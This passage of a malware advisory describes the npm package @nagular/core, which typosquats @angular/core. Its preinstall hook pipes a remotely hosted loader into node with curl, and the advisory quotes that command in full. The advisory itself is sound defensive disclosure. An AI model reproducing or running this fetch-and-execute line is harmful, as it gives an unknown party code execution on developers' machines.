Malicious code in @nagular/core (npm)
@nagular/core@1.0.67 impersonates @angular/core (by name only; its code is an unrelated library described as "Core Libs") and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account angularr published @nagular/core and 5 similar packages on 2026-10-03 between 06:33 and 07:23 UTC, all with the same preinstall script. --- _-= Per source details.

The remote content runs with the installer's privileges before any package code is imported or reviewed, giving whoever controls that URL arbitrary code execution on every machine that installs the package. The remote path `hellscripter/install-scripts` and the use of an archive proxy are consistent with a hostile dropper rather than a legitimate build step. The sco
